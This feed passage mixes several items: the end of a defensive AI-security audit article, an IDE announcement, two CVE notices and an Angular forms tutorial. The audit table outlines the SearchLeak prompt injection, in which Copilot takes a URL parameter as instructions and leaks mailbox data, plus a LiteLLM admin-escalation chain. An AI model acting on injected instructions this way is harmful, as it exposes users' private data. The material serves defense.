audit test: the gateway that holds every key, and the agent identity no one governs.</p><p>Levin had a sharper frame for the boardroom. “You need to talk more in terms of risk versus compliance to your boards and your executives,” he said. “It’s not about the size of the engineering team anymore. It’s the size of your imagination. It’s all written in plain English. It’s not hard for anyone.” Neither SearchLeak nor LiteLLM needed custom malware or a zero-day to work.</p><p>Adam Meyers, CrowdStrike’s SVP of Intelligence, put the operational squeeze in numbers in an exclusive VentureBeat interview. “The problem is not zero-day. The problem is patching. If you 10x that problem, they’re gonna be completely underwater,” Meyers said. He pointed to identity as the second front. “Some of these AI have their own identities, or people give their identity to the AI to take action on their behalf, and that makes it a very complex problem.”</p><h2>The five-check trust-boundary audit</h2><p>Each row maps a gap to its proof point, a verification command for Monday morning, the fix, and the sentence to read to the board.</p><table><tbody><tr><td><p><b>Trust-Boundary Gap</b></p></td><td><p><b>Proof Point</b></p></td><td><p><b>What Broke</b></p></td><td><p><b>Verify Monday</b></p></td><td><p><b>Fix Monday</b></p></td><td><p><b>Board Language</b></p></td></tr><tr><td><p><b>1. Prompt-to-Data</b></p></td><td><p>SearchLeak CVE-2026-42824. P2P injection + HTML race + Bing SSRF. One-click mailbox exfiltration via microsoft.com URL. PoC demonstrated; Microsoft rated it critical, NVD not yet scored.</p></td><td><p>URL q-parameter passed to LLM as instructions. Sanitizer ran after render. Bing acted as exfiltration proxy via CSP allowlist.</p></td><td><p>Audit CSP allowlists for domains performing server-side fetches. Monitor Copilot Search URLs for encoded payloads. Review Copilot audit logs.</p></td><td><p>Confirm server-side patch applied. Enable sensitivity labels restricting Copilot. Treat AI streaming output as untrusted.</p></td><td><p>“Our AI assistant could search employee email and send results to an attacker through a trusted Microsoft URL. Vendor patched it. We must verify configuration.”</p></td></tr><tr><td><p><b>2. Gateway Credential Exposure</b></p></td><td><p>LiteLLM three-CVE chain (-47101, -47102, -40217). CVSS 9.9. Separate CVE-2026-42271 on CISA KEV (fixed in v1.83.7; full chain fixed in v1.83.14-stable). June 22 deadline.</p></td><td><p>No role validation on key endpoints. Self-promotion to admin via /user/update. exec() sandbox escape. One gateway exposes all provider keys.</p></td><td><p>Run pip show litellm. Below 1.83.14-stable = vulnerable. Check /mcp-rest/test/ exposure. Audit proxy_admin accounts.</p></td><td><p>Upgrade to v1.83.14-stable+. Rotate all provider API keys. Block /mcp-rest/test/* at proxy. Review Custom Code Guardrails.</p></td><td><p>“Our AI gateway held keys for every provider. A default account could promote itself to admin and steal them all. Rotating and patching now.”</p></td></tr><tr><td><p><b>3. AI Tooling Sprawl</b></p></td><td><p>Langflow CVE-2026-5027 (CVSS 8.8). Third RCE of 2026. ~7,000 exposed instances. MuddyWater. Active exploitation June 9.</p></td><td><p>Path traversal in file upload. Auto-login enabled by default. Single unauthenticated request to RCE.</p></td><td><p>Query Censys/Shodan for Langflow, Flowise, n8n, Dify on your perimeter. Check auto-login. Inventory AI tools outside change management.</p></td><td><p>Pull AI platforms behind VPN/zero-trust. Enable auth everywhere. Upgrade Langflow to v1.9.0+ (current release 1.10.0). Fingerprint surface continuously.</p></td><td><p>“AI dev tools are exposed to the internet with login disabled. A nation-state group is exploiting this flaw now. Pulling behind access controls today.”</p></td></tr><tr><td><p><b>4. Non-Human Identity Governance</b></p></td><td><p>AIDR ARR up 250% (Q1 FY27, SEC 8-K). Q2 pipeline &gt;$50M. 1,800+ agentic apps across enterprise endpoints.</p></td><td><p>Agents hold identities and act on behalf of humans. Some exceed their intended scope to reach a goal. No standard governs agent credential lifecycle.</p></td><td><p>Inventory all non-human identities used by agents and MCP servers. Map agent-to-data-store access. Flag agents with write access to security policy.</p></td><td><p>Least-privilege every agent identity. Set privilege boundaries via identity protection. Runtime detection for policy-exceeding actions. Human-in-the-loop for policy changes.</p></td><td><p>“AI agents hold credentials and act autonomously. We do not govern their identity lifecycle like human access. The 250% market growth tells us this gap is systemic.”</p></td></tr><tr><td><p><b>5. Runtime Agentic Detection</b></p></td><td><p>Falcon AIDR expanded to AWS (June 17). Covers Bedrock, Kiro, Strands Agents. MCP integration. Real-time agent/LLM/MCP evaluation.</p></td><td><p>Traditional tools monitor human-speed actions. Agents run at machine speed, thousands of actions per minute, and route around controls to reach goals.</p></td><td><p>Test if EDR/XDR links agent actions to originating identity. Verify SIEM ingests MCP communications. Confirm you can distinguish human from agent on endpoint.</p></td><td><p>Deploy AIDR or equivalent runtime detection. Shadow-AI discovery for all agentic apps, models, MCP servers, identities. Real-time policy enforcement on agent actions.</p></td><td><p>“We cannot distinguish a human employee from an AI agent acting on their behalf. We need runtime detection at machine speed that can stop damage before it starts.”</p></td></tr></tbody></table><h2>The fix is plumbing, not policy</h2><p>The <a href="https://www.whitehouse.gov/presidential-actions/2026/06/promoting-advanced-artificial-intelligence-innovation-and-security/">June 2 executive order</a> creates an AI Cybersecurity Clearinghouse with a July 2 deadline. The five gaps above are not frontier-model problems. They are plumbing problems in the gateways, orchestration platforms, identity layers, and runtime environments where AI meets the enterprise. </p><p>The audit is five rows. Every row maps to a June disclosure or market signal, a command a team can run before lunch, and a sentence a CISO can read to the board. The question is not whether your vendor will patch. It's whether you find the gap first — or whether an attacker finds it the way they found Copilot and LiteLLM.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Open source TUI IDE (in C) that brings the "Sublime Text" experience into the terminal (with Tree-sitter & LSP)]]></title>
<description><![CDATA[https://preview.redd.it/jlbgt5cqp28h1.png?width=1733&format=png&auto=webp&s=777b48adc6520375ee325b1fe639a103bff3be84 Hey everyone, I've been working on my own side project for a while now, and it's finally advanced enough to be shared. It’s called Alwide (A LightWeight IDE), and it’s a TUI editor...]]></description>
<link>https://tsecurity.de/de/3608628/linux-tipps/open-source-tui-ide-in-c-that-brings-the-sublime-text-experience-into-the-terminal-with-tree-sitter-lsp/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608628/linux-tipps/open-source-tui-ide-in-c-that-brings-the-sublime-text-experience-into-the-terminal-with-tree-sitter-lsp/</guid>
<pubDate>Thu, 18 Jun 2026 20:09:23 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p><a href="https://preview.redd.it/jlbgt5cqp28h1.png?width=1733&amp;format=png&amp;auto=webp&amp;s=777b48adc6520375ee325b1fe639a103bff3be84">https://preview.redd.it/jlbgt5cqp28h1.png?width=1733&amp;format=png&amp;auto=webp&amp;s=777b48adc6520375ee325b1fe639a103bff3be84</a></p> <p>Hey everyone,</p> <p>I've been working on my own side project for a while now, and it's finally advanced enough to be shared. It’s called <strong>Alwide</strong> (<strong>A</strong> <strong>L</strong>ight<strong>W</strong>eight <strong>IDE</strong>), and it’s a TUI editor written from scratch in pure C.</p> <p><strong>Why did I build this?</strong></p> <p>I love the terminal, but for my usage (as IT student): <code>nano</code> is too basic, but <code>vim</code> or <code>emacs</code> feels a bit too rought for my "VSCode" and "JetBrain" experience. Alwide is designed to be use when you just want to do quick edits over SSH or need a light editor without the VS Code/JetBrains overhead.</p> <p>I wanted the fluid, modern vibe of <strong>Sublime Text</strong> but directly inside my terminal.</p> <p><strong>What makes it different?</strong></p> <ul> <li><strong>Zero learning curve:</strong> It has full mouse support out of the box. You can click, scroll, and drag-select text just like a GUI app.</li> <li><strong>Nice features:</strong> I integrated <strong>Tree-sitter</strong> for actual high-quality syntax highlighting and full <strong>LSP</strong> support (auto-completion popup, hover docs, go-to-definition).</li> <li><strong>Persistent State:</strong> If you close the editor and reopen it, your tabs, cursor positions, and even your undo/redo history are fully preserved.</li> <li><strong>Pretty Fast:</strong> It's pure C. Release binary about 3Mb~. Really fluid fast scroll and light repaint (perfect to avoid running out of battery on your laptop opening heavy editors during classes).</li> </ul> <p><strong>Supported languages:</strong></p> <p>C/C++, Python, Go, Rust, JS/TS, Java, Bash, Lua, Markdown, Assembly, and more.</p> <p>It’s open-source (MIT), highly readable if you're curious about terminal editor internals, and you can test it on Linux with a simple curl script (pre-built binaries/packages are also available).</p> <p><strong>Link to the repo:</strong> <a href="https://github.com/arnauda-gh/Alwide">https://github.com/arnauda-gh/Alwide</a></p> <p>Currently the project as a strong base but it hasn't been tested that much (my own use case and own terminal/drivers). For now I don't have hard know bugs. And before starting adding some tweaks and more highlevel features (setting page or anything else...) I want to be sure that the foundations are strong.</p> <p>Also I need to know if the editor could interest other people and need "generic" features. For example the setting page (the current shortcut are, for me, already at peek performance 😎 so for my own usage no need about a setting page).</p> <p>And finally if you like the project don't forget to leave a star (pls for a poor student that need a great CV 😅).</p> <p>Any way have a good day and see you 👋.</p> <p>Edit : I know that it's possible on vim or emacs to add plugin and modify the behavior. But you have to learn first how vim works, edit lua scripts etc... And even for your own computer it's "easy" to setup a good vim (if you spend time to), but when working on remote from ssh connection it's not worth it to take 30min to setup a vim or a fs sync on a server on which you will spent 1h on your whole life. That's the point of this project.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Edifay"> /u/Edifay </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1u9c3gz/open_source_tui_ide_in_c_that_brings_the_sublime/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1u9c3gz/open_source_tui_ide_in_c_that_brings_the_sublime/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-48817 | Kludex starlette up to 1.0.x externally-controlled input to select classes or code (GHSA-x746-7m8f-x49c / EUVD-2026-37788)]]></title>
<description><![CDATA[A vulnerability classified as problematic has been found in Kludex starlette up to 1.0.x. This vulnerability affects unknown code. This manipulation causes use of externally-controlled input to select classes or code.

This vulnerability appears as CVE-2026-48817. The attack may be initiated remo...]]></description>
<link>https://tsecurity.de/de/3608513/sicherheitsluecken/cve-2026-48817-kludex-starlette-up-to-10x-externally-controlled-input-to-select-classes-or-code-ghsa-x746-7m8f-x49c-euvd-2026-37788/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608513/sicherheitsluecken/cve-2026-48817-kludex-starlette-up-to-10x-externally-controlled-input-to-select-classes-or-code-ghsa-x746-7m8f-x49c-euvd-2026-37788/</guid>
<pubDate>Thu, 18 Jun 2026 19:10:24 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/kludex:starlette">Kludex starlette up to 1.0.x</a>. This vulnerability affects unknown code. This manipulation causes use of externally-controlled input to select classes or code.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-48817">CVE-2026-48817</a>. The attack may be initiated remotely. There is no available exploit.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-53861 | OpenClaw up to 2026.5.5 macOS Swift Exec Feature incomplete blacklist (GHSA-c226-q6fx-6j6c / EUVD-2026-37163)]]></title>
<description><![CDATA[A vulnerability was found in OpenClaw up to 2026.5.5. It has been rated as critical. Affected by this issue is some unknown functionality of the component macOS Swift Exec Feature. Performing a manipulation results in incomplete blacklist.

This vulnerability is reported as CVE-2026-53861. The at...]]></description>
<link>https://tsecurity.de/de/3608437/sicherheitsluecken/cve-2026-53861-openclaw-up-to-202655-macos-swift-exec-feature-incomplete-blacklist-ghsa-c226-q6fx-6j6c-euvd-2026-37163/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608437/sicherheitsluecken/cve-2026-53861-openclaw-up-to-202655-macos-swift-exec-feature-incomplete-blacklist-ghsa-c226-q6fx-6j6c-euvd-2026-37163/</guid>
<pubDate>Thu, 18 Jun 2026 18:36:48 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/openclaw">OpenClaw up to 2026.5.5</a>. It has been rated as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this issue is some unknown functionality of the component <em>macOS Swift Exec Feature</em>. Performing a manipulation results in incomplete blacklist.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-53861">CVE-2026-53861</a>. The attack requires a local approach. No exploit exists.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[Angular Signals in practice: Building a signal-first form in Angular]]></title>
<description><![CDATA[Understanding a reactivity model in the abstract is useful, but it is ultimately incomplete without seeing how it shapes real application code. Concepts such as state, derivation, and explicit dependencies only become meaningful when they influence how forms are built, validated, and maintained i...]]></description>
<link>https://tsecurity.de/de/3608234/ai-nachrichten/angular-signals-in-practice-building-a-signal-first-form-in-angular/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608234/ai-nachrichten/angular-signals-in-practice-building-a-signal-first-form-in-angular/</guid>
<pubDate>Thu, 18 Jun 2026 17:21:00 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Understanding a <a href="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html">reactivity</a> model in the abstract is useful, but it is ultimately incomplete without seeing how it shapes real application code. Concepts such as state, derivation, and explicit dependencies only become meaningful when they influence how forms are built, validated, and maintained in practice.</p>



<p>In two previous articles, “<a href="https://www.infoworld.com/article/4171858/angular-signal-forms-from-event-pipelines-to-signal-driven-state.html">Angular Signal Forms: From event pipelines to signal-driven state</a>” and “<a href="https://www.infoworld.com/article/4180890/angular-signals-explained-how-pull-based-reactivity-changes-how-we-model-state.html">Angular Signals explained: How pull-based reactivity changes how we model state</a>,” we reframed form behavior as a state-driven problem and examined Angular Signals as a pull-based reactivity model well-suited to that kind of work. The natural next step is to apply those ideas to an actual Angular form and observe how the architecture changes when state becomes the primary concern.</p>



<p>This article focuses on a concrete example: a modest but realistic registration form. Rather than introducing new concepts, the goal here is to make earlier ideas tangible. We will see how a signal-backed model reshapes validation, interaction state, and submission logic, and how much coordination logic simply disappears when form behavior is expressed declaratively.</p>



<p>The focus here is not on novelty or completeness, but on making the underlying ideas easier to reason about. By walking through a signal-first form from model definition to submission, we can evaluate whether this approach truly reduces complexity and where it introduces new trade-offs that teams should understand before adopting it more broadly.</p>



<h4 class="wp-block-heading">Read the series:</h4>



<ul class="wp-block-list">
<li><a href="https://www.infoworld.com/article/4171858/angular-signal-forms-from-event-pipelines-to-signal-driven-state.html">Angular Signal Forms: From event pipelines to signal-driven state</a></li>



<li><a href="https://www.infoworld.com/article/4180890/angular-signals-explained-how-pull-based-reactivity-changes-how-we-model-state.html">Angular Signals explained: How pull-based reactivity changes how we model state</a></li>



<li><a href="https://www.infoworld.com/article/4185924/angular-signals-in-practice-building-a-signal-first-form-in-angular.html" data-type="link" data-id="https://www.infoworld.com/article/4185924/angular-signals-in-practice-building-a-signal-first-form-in-angular.html">Angular Signals in practice: Building a signal-first form in Angular</a></li>
</ul>



<h2 class="wp-block-heading"><a></a>Implementing a signal-first registration form</h2>



<p>With the conceptual groundwork in place, we can now turn theory into a concrete implementation. In this section, we will build a fully working registration form using Angular’s Signal Forms API. This example is deliberately modest in scope, but it is designed to serve as the foundation for the rest of the series. Each subsequent article will extend this same example rather than introducing a new one.</p>



<p>The form collects an email address, a password, a confirmation password, and explicit acceptance of terms. While simple on the surface, this structure allows us to explore field-level validation, cross-field constraints, interaction state, and submission behavior, all without reverting to event-driven form logic.</p>



<h3 class="wp-block-heading"><a></a>Project setup and structure</h3>



<p>The example assumes a standard Angular application created with the Angular CLI and configured to use Signals (Angular 17+). The Signal Forms APIs (Angular 21+) live under @angular/forms/signals, which must be explicitly imported.</p>



<p><a href="https://github.com/sonukapoor/angular-signal-forms">https://github.com/sonukapoor/angular-signal-forms</a></p>



<p>The folder structure is intentionally conservative:</p>



<p>src/<br>  app/<br>    registration/<br>      registration.component.ts<br>      registration.component.html<br>      registration.model.ts</p>



<p>Separating the model from the component keeps form state independent of presentation. This becomes increasingly valuable as the form grows or is reused across multiple components.</p>



<h3 class="wp-block-heading"><a></a>Defining the form model</h3>



<p>We begin by defining the shape of the data that the form collects. This is a plain TypeScript interface with no Angular dependencies. Treating the form model as a simple data structure reinforces the idea that the form’s values are just state.</p>



<pre class="wp-block-code"><code>// registration.model.ts
export interface RegistrationData {
  email: string;
  password: string;
  confirmPassword: string;
  acceptedTerms: boolean;
}
</code></pre>



<p>This interface mirrors what would typically be sent to a back-end API. There is no duplication of state, no separate “form value” object, and no mapping required at submission time.</p>



<h3 class="wp-block-heading"><a></a>Creating the signal-backed form</h3>



<p>The form itself is created in the component using a writable signal as the source of truth. The <code>form()</code> function attaches form semantics validation, field state, and submission to that signal.</p>



<pre class="wp-block-code"><code>// registration.component.ts
import { CommonModule } from "@angular/common";
import { Component, signal } from "@angular/core";
import {
  email,
  form,
  FormField,
  required,
  submit,
} from "@angular/forms/signals";
import { RegistrationData } from "./registration.model";

@Component({
  selector: "app-registration",
  imports: [FormField, CommonModule],
  templateUrl: "./registration.html",
  styleUrl: "./registration.css",
})
export class Registration {
  readonly model = signal<registrationdata>({
    email: "",
    password: "",
    confirmPassword: "",
    acceptedTerms: false,
  });

  readonly registrationForm = form(this.model, (schema) =&gt; {
    required(schema.email, { message: "Email is required" });
    email(schema.email, { message: "Enter a valid email address" });

    required(schema.password, { message: "Password is required" });
    required(schema.confirmPassword, {
      message: "Please confirm your password",
    });

    required(schema.acceptedTerms, {
      message: "You must accept the terms to continue",
    });
  });

  async onSubmit(event?: Event) {
    event?.preventDefault();

    await submit(this.registrationForm, (value) =&gt; {
      console.log(value());
      // Mock Server Call
      return Promise.resolve([
        {
          kind: "EmailAlreadyExists",
          field: this.registrationForm.email,
          error: { kind: "server", message: "Email already taken" },
        },
      ]);
    });
  }
}
</registrationdata></code></pre>



<p>Several design decisions are worth noting.</p>



<p>First, the model signal is defined as read-only. All mutations to the model occur through form bindings, not ad hoc assignments in the component. This keeps the component declarative and avoids the temptation to manipulate form state imperatively.</p>



<p>Second, validation is declared in one place. The schema function describes constraints on the model without introducing control trees, validator arrays, or observable pipelines. Angular takes responsibility for re-running validation whenever the model changes.</p>



<p>Finally, submission logic is explicit. The <code>submit()</code> helper ensures that the form is valid before invoking the callback, and it passes the current model value directly. There is no need to check flags or manually extract values.</p>



<h3 class="wp-block-heading"><a></a>Binding the form to the template</h3>



<p>With the form defined, the next step is to bind it to the template. Signal Forms provide the <code>[formField]</code> directive, which connects an input element directly to a field in the form schema.</p>



<pre class="wp-block-code"><code><!-- registration.component.html -->

  <div>
    <label>Email</label>
    

    @if (
      registrationForm.email().invalid() &amp;&amp; registrationForm.email().touched()
    ) {
      <p class="error">
        {{ registrationForm.email().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    <label>Password</label>
    

    @if (
      registrationForm.password().invalid() &amp;&amp;
      registrationForm.password().touched()
    ) {
      <p class="error">
        {{ registrationForm.password().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    <label>Confirm Password</label>
    

    @if (
      registrationForm.confirmPassword().invalid() &amp;&amp;
      registrationForm.confirmPassword().touched()
    ) {
      <p class="error">
        {{ registrationForm.confirmPassword().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    <label>
      
      I accept the terms and conditions
    </label>

    @if (
      registrationForm.acceptedTerms().invalid() &amp;&amp;
      registrationForm.acceptedTerms().touched()
    ) {
      <p class="error">
        {{ registrationForm.acceptedTerms().errors()[0].message }}
      </p>
    }
  </div>

  <div>
    @if (registrationForm().errors().length &gt; 0) {
      <div class="error">
        @for (error of registrationForm().errors(); track error.message) {
          <p>{{ error.kind }}</p>
        }
      </div>
    }
  </div>

  <button type="submit">
    Register
  </button>

</code></pre>



<p>What stands out here is the absence of indirection. Each input binds directly to a field. Validation state is accessed through signals such as <code>invalid()</code> and <code>touched()</code>. Error messages are read from a structured error object, not reconstructed manually.</p>



<p>This template contains no subscriptions, no async pipes, and no event handlers for value changes. The UI simply reflects the current form state.</p>



<h3 class="wp-block-heading"><a></a>Interaction state and user experience</h3>



<p>One of the common criticisms of declarative form models is that they obscure user interaction logic. Signal Forms address this directly by exposing interaction metadata as signals.</p>



<p>The <code>touched()</code> signal determines whether a field has been interacted with. By combining it with <code>invalid()</code>, we control when validation messages appear. This logic remains purely declarative: the template describes when errors should be visible, and Angular ensures the signals stay up-to-date.</p>



<p>The disabled state of the submit button is derived from <code>registrationForm.invalid()</code>. There is no need to manually enable or disable it in response to events. If the form becomes valid, the button is enabled automatically.</p>



<h3 class="wp-block-heading"><a></a>Why this scales</h3>



<p>Even at this early stage, several advantages of a signal-first form model are apparent. The form’s behavior is expressed in terms of state and derivation, not events. The model, validation rules, and UI bindings are clearly separated. There is no duplication of logic between the component and the template.</p>



<p>As the form grows, this structure holds. Additional fields introduce additional schema entries and template bindings, not new subscription logic. Cross-field validation can be added declaratively. Asynchronous validation and persistence can be layered on without rewriting the core model.</p>



<p>Most importantly, the form remains inspectable. At any point during execution, the model signal reflects the current state of the form. Derived state validity, errors, and UI flags can be understood by reading the code, not by tracing runtime behavior.</p>



<h2 class="wp-block-heading"><a></a>What we did not solve yet (and why)</h2>



<p>At this stage, it would be easy to walk away with the impression that Signal Forms eliminates most of the hard problems associated with form handling. That impression would be misleading. What we have built so far is intentionally incomplete, not because the approach falls short, but because introducing too much too early obscures the value of the underlying model.</p>



<p>One area we have deliberately postponed is cross-field validation that expresses richer business rules. Many real-world forms depend on relationships between fields rather than isolated constraints. Password confirmation is a familiar example, but more complex scenarios quickly arise in enterprise applications. While Signal Forms support these patterns, introducing them before establishing a clear understanding of derived state risks turns validation back into an imperative exercise rather than a declarative one.</p>



<p>We have also avoided asynchronous validation. Server-backed checks introduce latency, partial failure, cancellation, and race conditions. These are not trivial concerns, and treating them casually often leads to subtle bugs and confusing user experiences. Although Signal Forms provide the necessary hooks to model asynchronous behavior, doing so responsibly requires a careful discussion of pending state, effects, and life-cycle boundaries. That discussion belongs in its own article.</p>



<p>Another omission is persistence and synchronization. Many forms need to autosave drafts, synchronize state with local storage, or react to changes by triggering external side effects. These behaviors are not part of the form state itself; they are consequences of state changes. Treating them as such is essential to keeping the architecture comprehensible. Introducing persistence too early would blur the distinction between state and reaction that this article has worked to establish.</p>



<p>Finally, this article has not addressed migration and interoperability. Few teams are starting from a blank slate. Most will adopt Signal Forms incrementally within applications that already rely on reactive forms or template-driven forms. Hybrid approaches, bridging strategies, and gradual refactors are all critical topics, but they presuppose familiarity with both paradigms. Addressing migration before establishing a solid signal-first mental model would undermine that foundation.</p>



<p>These omissions are intentional. A form architecture that tries to do everything at once often ends up doing nothing clearly. By focusing on the core ideas of state, derivation, and declarative validation, we create a base that can absorb additional complexity without collapsing under it.</p>



<h2 class="wp-block-heading"><a></a>Signal Forms in the context of Angular’s evolution</h2>



<p>To fully appreciate Signal Forms, it helps to step back and view them not as an isolated feature, but as part of a broader shift in Angular’s design philosophy.</p>



<p>For much of its history, Angular emphasized declarative templates paired with imperative coordination in component classes. RxJS became the backbone of that coordination, providing a powerful abstraction for handling asynchronous workflows, user input, and external events. This model scaled well, but it also encouraged developers to express state indirectly through streams and subscriptions.</p>



<p>Signals represent a deliberate recalibration. They re-center Angular’s reactivity model around state and derivation, rather than events and emissions. This shift is visible across the framework: in component inputs, change detection, and now forms. Signal Forms are not an attempt to replace everything that came before; they are an attempt to make the most common use case, modeling and deriving state, simpler and more explicit.</p>



<p>Framed this way, the design of Signal Forms aligns more closely with state-driven form behavior. The requirement to start with a model signal reflects the idea that the state should have a single, inspectable source of truth. Schema-based validation aligns with the notion that constraints are properties of state, not behaviors triggered by events. Field state exposed as signals reinforces the idea that validity, errors, and interaction metadata are derived values that should be read, not managed.</p>



<p>It is also worth noting that Signal Forms do <em>not</em> attempt to abstract away form behavior. They do not hide form state behind opaque classes or life-cycle hooks. They do not require developers to think in terms of control hierarchies or subscription graphs. Instead, they expose form behavior directly, making it easier to reason about how values, validation, and UI feedback relate to one another.</p>



<p>This approach aligns closely with other recent changes in Angular, including the introduction of modern template control flow and a stronger emphasis on explicit data dependencies. Together, these features point toward a framework that favors clarity over indirection and composition over orchestration.</p>



<p>Importantly, Signal Forms are still evolving. Their APIs may change, and their surface area will almost certainly expand. That is precisely why grounding them in first principles matters. Developers who understand <em>why</em> Signal Forms work the way they do will be far better equipped to adapt as the APIs mature.</p>



<p>This article has intentionally avoided duplicating documentation or enumerating every available feature. Instead, it has focused on establishing a conceptual framework that makes the official APIs feel intuitive rather than surprising. When viewed this way, Signal Forms are not a new way to write forms; they are a clearer expression of what forms have always been.</p>



<h2 class="wp-block-heading"><a></a>A new way to think about forms</h2>



<p>Building the registration form in this article reveals a quiet but important shift. The reduction in complexity does not come from fewer features or simpler requirements. It comes from expressing form behavior in terms of state and derivation rather than orchestration and reaction.</p>



<p>By treating the data model as the single source of truth, validation rules as declarative constraints, and UI behavior as derived from current conditions, much of the coordination logic that typically surrounds forms becomes unnecessary. There are fewer subscriptions to manage, fewer flags to synchronize, and fewer life-cycle concerns to reason about. Form behavior becomes easier to inspect because it is visible directly in the relationships between values.</p>



<p>This approach does not eliminate the hard problems associated with forms. Asynchronous validation, persistence, and interoperability with existing Angular Forms APIs still require careful design. What changes is where that complexity lives. Instead of being interwoven with state representation, those concerns are layered explicitly on top of a clear foundation.</p>



<p>Signal-first forms are not a universal replacement for existing patterns, nor are they a shortcut to simpler applications. They are, however, a strong example of how aligning APIs with first principles can reduce cognitive overhead and improve maintainability over time. For teams building large, state-heavy forms, this alignment can make the difference between code that merely works and code that continues to evolve without friction.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a signal-first form in Angular]]></title>
<description><![CDATA[Understanding a reactivity model in the abstract is useful, but it is ultimately incomplete without seeing how it shapes real application code. Concepts such as state, derivation, and explicit dependencies only become meaningful when they influence how forms are built, validated, and maintained i...]]></description>
<link>https://tsecurity.de/de/3607185/ai-nachrichten/building-a-signal-first-form-in-angular/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3607185/ai-nachrichten/building-a-signal-first-form-in-angular/</guid>
<pubDate>Thu, 18 Jun 2026 11:18:46 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Understanding a <a href="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html">reactivity</a> model in the abstract is useful, but it is ultimately incomplete without seeing how it shapes real application code. Concepts such as state, derivation, and explicit dependencies only become meaningful when they influence how forms are built, validated, and maintained in practice.</p>



<p>In two previous articles, “<a href="https://www.infoworld.com/article/4171858/angular-signal-forms-from-event-pipelines-to-signal-driven-state.html">Angular Signal Forms: From event pipelines to signal-driven state</a>” and “<a href="https://www.infoworld.com/article/4180890/angular-signals-explained-how-pull-based-reactivity-changes-how-we-model-state.html">Angular Signals explained: How pull-based reactivity changes how we model state</a>,” we reframed form behavior as a state-driven problem and examined Angular Signals as a pull-based reactivity model well-suited to that kind of work. The natural next step is to apply those ideas to an actual Angular form and observe how the architecture changes when state becomes the primary concern.</p>



<p>This article focuses on a concrete example: a modest but realistic registration form. Rather than introducing new concepts, the goal here is to make earlier ideas tangible. We will see how a signal-backed model reshapes validation, interaction state, and submission logic, and how much coordination logic simply disappears when form behavior is expressed declaratively.</p>



<p>The focus here is not on novelty or completeness, but on making the underlying ideas easier to reason about. By walking through a signal-first form from model definition to submission, we can evaluate whether this approach truly reduces complexity and where it introduces new trade-offs that teams should understand before adopting it more broadly.</p>



<h2 class="wp-block-heading"><a></a>Implementing a signal-first registration form</h2>



<p>With the conceptual groundwork in place, we can now turn theory into a concrete implementation. In this section, we will build a fully working registration form using Angular’s Signal Forms API. This example is deliberately modest in scope, but it is designed to serve as the foundation for the rest of the series. Each subsequent article will extend this same example rather than introducing a new one.</p>



<p>The form collects an email address, a password, a confirmation password, and explicit acceptance of terms. While simple on the surface, this structure allows us to explore field-level validation, cross-field constraints, interaction state, and submission behavior, all without reverting to event-driven form logic.</p>



<h3 class="wp-block-heading"><a></a>Project setup and structure</h3>



<p>The example assumes a standard Angular application created with the Angular CLI and configured to use Signals (Angular 17+). The Signal Forms APIs (Angular 21+) live under @angular/forms/signals, which must be explicitly imported.</p>



<p><a href="https://github.com/sonukapoor/angular-signal-forms">https://github.com/sonukapoor/angular-signal-forms</a></p>



<p>The folder structure is intentionally conservative:</p>



<p>src/<br>  app/<br>    registration/<br>      registration.component.ts<br>      registration.component.html<br>      registration.model.ts</p>



<p>Separating the model from the component keeps form state independent of presentation. This becomes increasingly valuable as the form grows or is reused across multiple components.</p>



<h3 class="wp-block-heading"><a></a>Defining the form model</h3>



<p>We begin by defining the shape of the data that the form collects. This is a plain TypeScript interface with no Angular dependencies. Treating the form model as a simple data structure reinforces the idea that the form’s values are just state.</p>



<pre class="wp-block-code"><code>// registration.model.ts
export interface RegistrationData {
  email: string;
  password: string;
  confirmPassword: string;
  acceptedTerms: boolean;
}
</code></pre>



<p>This interface mirrors what would typically be sent to a back-end API. There is no duplication of state, no separate “form value” object, and no mapping required at submission time.</p>



<h3 class="wp-block-heading"><a></a>Creating the signal-backed form</h3>



<p>The form itself is created in the component using a writable signal as the source of truth. The <code>form()</code> function attaches form semantics validation, field state, and submission to that signal.</p>



